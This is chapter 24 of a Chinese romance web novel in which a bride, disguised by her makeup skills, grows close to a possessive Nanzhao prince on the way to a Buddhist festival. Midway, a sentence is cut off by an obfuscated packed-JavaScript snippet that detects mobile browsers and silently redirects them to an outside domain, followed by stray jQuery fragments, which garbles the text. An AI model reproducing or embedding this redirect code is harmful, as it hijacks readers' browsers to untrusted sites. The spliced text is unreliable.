24.第 24 章

作品:《替嫁苗疆少年后

    永和三年秋,大周以长宁公主和亲南诏王嗣。每出行,王嗣必亲为执辔,南诏民皆称羡。


    四年六月,王嗣偕公主赴崇圣寺浴佛法会。俄而火起,南风助势,寺宇尽焚。


    ———


    崇圣寺的钟声在晨曦中回荡,今日,南诏王嗣应携王妃入寺礼佛。


    距上次礼佛已有数月。南诏盛夏似火,街巷间热浪蒸腾,市井喧哗,常有无端起火之事。


    再过七日,就是温萝芙替嫁满一年的日子。


    这是佛音鼎盛的时代,大周、南诏与东瀛国皆以佛法为尊。高僧们往来传法,译本千里流转,佛寺建筑形制彼此借鉴。今逢吉日,三国使节将齐聚南诏崇圣寺,共探佛法。这场为期七天的盛会,是三国文化交流的重要契机。


    暑气蒸腾,轿辇内,温萝芙正执一柄团扇轻摇。忽见轿帘微动,一缕清苦药香先于人至。


    庄九黎撩开帘子,问:“热么?”


    他今日着了套墨黑衣袍,玉带将腰身束得劲瘦,远观如寒潭孤松。


    温萝芙摇头,目光却不由落在庄九黎身上。他一身玄衣严整,在这南诏酷暑中竟不见半分汗意,指尖触及她手腕时,只觉凉意沁人。唯有那耳尖一抹薄红,隐约透露出他方才疾步而来的痕迹。


    她不由得感慨,庄九黎真是个耐热的人。


    最热的时候,那估计就是昨夜红烛帐暖,他眼底欲色翻涌如潮时了。


    “庄九黎。”她刚唤出声,直呼其名,就被他扳过身子揽进怀里。


    轿厢轻轻晃动,他从身后贴了上来,凑近细嗅她发间问:“夫人今日熏的什么香?”


    温萝芙道:“我没有熏香哦。”


    “或许是昨夜沾染了夫君身上的药香?”


    说罢,她踮起脚尖,在他泛红的耳垂上轻轻一啄。庄九黎的呼吸顿时乱了节奏,他这般情难自禁的模样,让温萝芙心头一软。


    随后,她再次看见了,这连日以来经久不息的幻觉。


    盛夏的午后,两人相拥的体温比暑气更灼人,身后却忽有腥风扑来。


    庄九黎眸中映着浮光,而她的脸却被他投下的阴影完全笼罩。在那片阴影中,暗卫十七凝固的血脸、素月的尸体,还有那些死在庄九黎手下的刺客,堆成尸山血海,若隐若现。


    温萝芙缓缓的望向脚边,看见脚踝上凭空出现一副镣铐,而锁链另一端攥在庄九黎手里。


    又来了。


    每当她心动、对庄九黎产生爱恋,这幻象便如影随形。锁链随着轿身摇晃叮当作响,明明空无一物的脚踝,却传来金属收紧的痛感。


    “怎么了?”他用察觉到她的僵硬,眼底翻涌的欲色瞬间冷却。


    “我……”她喘息未定,突然用力抵住他的胸膛,“我不想永远依赖你的保护。”


    庄九黎的动作骤然停住。


    轿外烈日灼人,蝉鸣震耳。他撑起身子,在昏黄的帐中光线里凝视她许久,忽然松开钳制,终是轻叹一声,斜斜躺在她怀里,声音闷在她衣襟间:“错了。”


    “错了,”他抬头抵住她,“是我贪心。”


    庄九黎手腕一翻,轻巧地挑开自己衣襟,露出心口那道狰狞的疤痕。


    玉带落地无声。轿外就是熙攘的街市,叫卖声近在咫尺。温萝芙浑身僵硬,终于明白他为何偏要今日乘轿出门。


    “既然夫人不愿依赖我——”他衣襟散开,“不如换我来依赖夫人。”


    “我的命,早就是夫人的了。”


    堪称完美的回答。


    视角倒错,温萝芙仰倒在软垫上,庄九黎已低头吻住她。这个吻带着近乎病态的占有欲,仿佛要将她揉进骨血。她含糊不清地抗议:“你最近连娅莎都不让我见了,蛊术也不肯再教,说之后的蛊术都太危险了……”


    庄九黎低笑一声,眼底掠过一丝阴郁,转瞬又被温柔取代:“夫人不必学这些。”


    他轻轻摩挲着她的脸颊,将她的脸微微抬起:“在我视线可及之处便是最安全的地方,不是吗?”


    “你只需要待在我身边就好。”


    温萝芙望进他幽蓝色的眼,再次感到那种令人毛骨悚然的安宁感。每当她快要沉溺其中,另一个声音就会在意识深处响起,一遍又一遍地叩问 ——


    这真的是正确的选择吗?


    是否存在更好的可能?抑或这世上本就没有所谓“更好”的选择?


    最初的你,真正的你,要更加冰冷、更加自我、更加不可妥协才对。


    而不是心甘情愿地沉溺在自己布下的骗局中。


    “是啊。”温萝芙忽然绽开明媚的笑靥,伸手将他搂得更紧,“夫君有这样严重的皮肤饥渴症,若是哪天我走了,可要怎么熬过去?”


    所以,请放心吧。


    请相信我吧。


    我如此深爱着你,又怎会逃离?


    黑暗中,似乎有锁链碰撞的脆响传来。


    她低头看去,脚踝上空无一物。


    轿辇停稳,寺院的钟声悠然响起。


    温萝芙整理好微乱的衣襟,庄九黎则先一步下轿,伸手扶她,仿佛方才轿内的旖旎从未发生。


    阳光灼目,温萝芙微微眯起眼。崇圣寺巍峨的殿宇在日光下泛着金辉,寺前广场上,三国使节已列队静候。南诏的侍卫肃立两侧,黑甲森然,而大周与东瀛的使臣则身着华服,神色各异。


    庄九黎牵起她的手,她抬眸看他,他已恢复人前那副阴鸷模样。


    “走吧,夫人。”


    两人并肩踏入殿内。寺门缓缓开启,檀香缭绕。


    庄九黎微微侧首,在她耳边低语:“待尘埃落定,我要让夫人以真容再嫁我一次。”


    温萝芙今日仍然装扮成了赵长宁的模样,雍容华贵,深色倨傲。虽然这些日子与庄九黎日渐亲密,她却始终小心地藏着自己的易容技艺,从未在他面前露出过易容的手艺。警惕心是必要的。


    温萝芙笑道:“是吗?那你专情和亲公主的美名,可就要毁于一旦了。”


    庄九黎:“我不在意。”


    佛光普照,金身佛像垂眸俯瞰众生,慈悲如常。


    法会首日很快结束。


    厢房内,庄九黎若有所思地问道:“我还未见过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759921|172151||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    夫人替人易容时的样子。”


    “你说你曾是易容师,那时是怎样为他人改换容貌的?”


    温萝芙正在整理妆奁的手微微一顿。


    “要这般贴近观察面容吗?”他缓步走近,“要亲手丈量每一寸轮廓吗?”


    两人呼吸交缠在一处。


    一想到曾经有那么多人,能如此近距离地感受她的触碰,庄九黎胸口便涌起一阵酸涩。


    那种专注的目光,本该只有他能看见,今后也只属于他——想象着温萝芙仔仔细细地触摸别人的面容,他恨不得回到过去,在她第一次为他人易容时就将她带回南诏——虽然那时的他们,本该是永无交集的陌路人。


    若非那场替嫁,她又怎会与他相见,将他从孤独中带出?


    “你想试试吗?”温萝芙晃了晃手中的妆笔,打断了他的走神。


    她此前对庄九黎没有什么防备心,虽然想的都是攻略他好让自己尽快逃跑,与此刻的心境还是有着大不同。她曾有一次失误,在祭山大典上,她曾脱口而出要给他化妆。


    庄九黎点头:“想。”


    温萝芙绕着他转了两圈,俯身端详这张俊美的脸。他本就生得极好,眼尾自带一抹绯色,微挑的眉峰根本无需修饰。


    来南诏这么久,这还是第一个能让她施展手艺的对象。


    她有些跃跃欲试。


    庄九黎可以称得上她来到南诏后的第一个顾客了。


    温萝芙从袖中取出工具。反正只是简单的化妆,算不得暴露真本事,日后脱身也不至留下破绽。


    只是太久未曾替人化妆,她拿着工具的手竟兴奋得有些颤抖。


    她非常的热爱这份职业。


    因为热爱,她从小就喜欢把自己化成动画片里的角色,长大后,她将视频传到网上,收获的第一个评论便是说这双手仿佛会易容术。这份热爱,最终让她真的走上了易容师的道路。


    这本该是一份让她开心的手艺。


    而不是被迫用来替嫁的手段。


    温萝芙执笔端详,轻轻托住庄九黎的脸。他闭着眼,乖顺地等着。


    她本来跃跃欲试,现在倒生出一种是无从下笔之感。踌躇间,她转而取出盛着口脂的瓷盒,用指尖蘸了,轻轻点在他的唇上,渐渐晕开。


    却有种过犹不及的感觉。


    她轻轻的,细细的用指腹在上面涂抹,心底却涌起一丝落寞。


    可惜她做不到真心爱他。


    不对。


    笔尖突然一顿。


    她这些日子产生的悸动,难道不是真心?


    镜中映出她恍惚的神情,而庄九黎不知何时已睁开眼,正用那种令人心悸的目光注视着她。


    庄九黎睫羽轻颤,问:“好了吗?”


    温萝芙把镜子转向他:“好了。”


    庄九黎:“似乎没什么变化。”


    温萝芙:“你本就生得好看。”


    庄九黎:“我想要更有差别一点的。”


    他握住她的手腕,眼中闪着危险而期待的光:“夫人不如……为我展示真正的易容之术?”